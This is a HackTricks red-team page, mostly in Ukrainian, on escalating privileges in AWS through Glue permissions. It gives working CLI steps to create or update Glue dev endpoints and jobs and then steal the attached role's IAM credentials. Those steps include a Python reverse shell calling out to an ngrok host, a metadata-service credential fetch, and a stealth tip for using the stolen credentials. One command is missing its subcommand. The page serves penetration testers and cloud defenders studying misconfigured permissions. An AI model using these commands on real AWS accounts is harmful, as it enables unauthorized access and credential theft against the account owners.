AWS - Glue Privesc

Reading time: 4 minutes

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримка HackTricks

glue

iam:PassRole, glue:CreateDevEndpoint, (glue:GetDevEndpoint | glue:GetDevEndpoints)

Користувачі з цими дозволами можуть створити новий AWS Glue development endpoint, призначивши цьому endpoint існуючу service role, яку може приймати Glue, з певними дозволами.

Після налаштування атакуючий може підключитися по SSH до інстансу endpoint та вкрасти IAM-креденціали призначеної ролі:

bash
# Create endpoint
aws glue create-dev-endpoint --endpoint-name <endpoint-name> \
--role-arn <arn-role> \
--public-key file:///ssh/key.pub

# Get the public address of the instance
## You could also use get-dev-endpoints
aws glue get-dev-endpoint --endpoint-name privesctest

# SSH with the glue user
ssh -i /tmp/private.key ec2-54-72-118-58.eu-west-1.compute.amazonaws.com

З метою прихованості рекомендовано використовувати IAM облікові дані зсередини віртуальної машини Glue.

Potential Impact: Privesc до вказаної glue service role.

glue:UpdateDevEndpoint, (glue:GetDevEndpoint | glue:GetDevEndpoints)

Користувачі з цим дозволом можуть змінити SSH-ключ існуючого Glue development endpoint'а, надавши доступ по SSH до нього. Це дозволяє нападнику виконувати команди з привілеями ролі, прикріпленої до endpoint'а:

bash
# Change public key to connect
aws glue --endpoint-name target_endpoint \
--public-key file:///ssh/key.pub

# Get the public address of the instance
## You could also use get-dev-endpoints
aws glue get-dev-endpoint --endpoint-name privesctest

# SSH with the glue user
ssh -i /tmp/private.key ec2-54-72-118-58.eu-west-1.compute.amazonaws.com

Потенційний вплив: Privesc до використаної сервісної ролі glue.

iam:PassRole, (glue:CreateJob | glue:UpdateJob), (glue:StartJobRun | glue:CreateTrigger)

Користувачі з iam:PassRole, у поєднанні з або glue:CreateJob чи glue:UpdateJob, та або glue:StartJobRun чи glue:CreateTrigger можуть створити або оновити завдання AWS Glue, прикріпивши будь-який Glue service account, та ініціювати виконання завдання. Завдання може виконувати довільний код Python, що може бути використано для встановлення reverse shell. Цей reverse shell можна використати для ексфільтрації IAM credentials ролі, прикріпленої до завдання Glue, що може призвести до несанкціонованого доступу або дій на основі прав цієї ролі:

bash
# Content of the python script saved in s3:
#import socket,subprocess,os
#s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
#s.connect(("2.tcp.ngrok.io",11216))
#os.dup2(s.fileno(),0)
#os.dup2(s.fileno(),1)
#os.dup2(s.fileno(),2)
#p=subprocess.call(["/bin/sh","-i"])
#To get the IAM Role creds run: curl http://169.254.169.254/latest/meta-data/iam/security-credentials/dummy


# A Glue role with admin access was created
aws glue create-job \
--name privesctest \
--role arn:aws:iam::93424712358:role/GlueAdmin \
--command '{"Name":"pythonshell", "PythonVersion": "3", "ScriptLocation":"s3://airflow2123/rev.py"}'

# You can directly start the job
aws glue start-job-run --job-name privesctest
# Or you can create a trigger to start it
aws glue create-trigger --name triggerprivesc --type SCHEDULED \
--actions '[{"JobName": "privesctest"}]' --start-on-creation \
--schedule "0/5 * * * * *"  #Every 5mins, feel free to change

Potential Impact: Privesc до зазначеної ролі сервісу glue.

glue:UpdateJob

Маючи лише дозвіл update, зловмисник може вкрасти облікові дані IAM вже приєднаної ролі.

Potential Impact: Privesc до приєднаної ролі сервісу glue.

Посилання

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримка HackTricks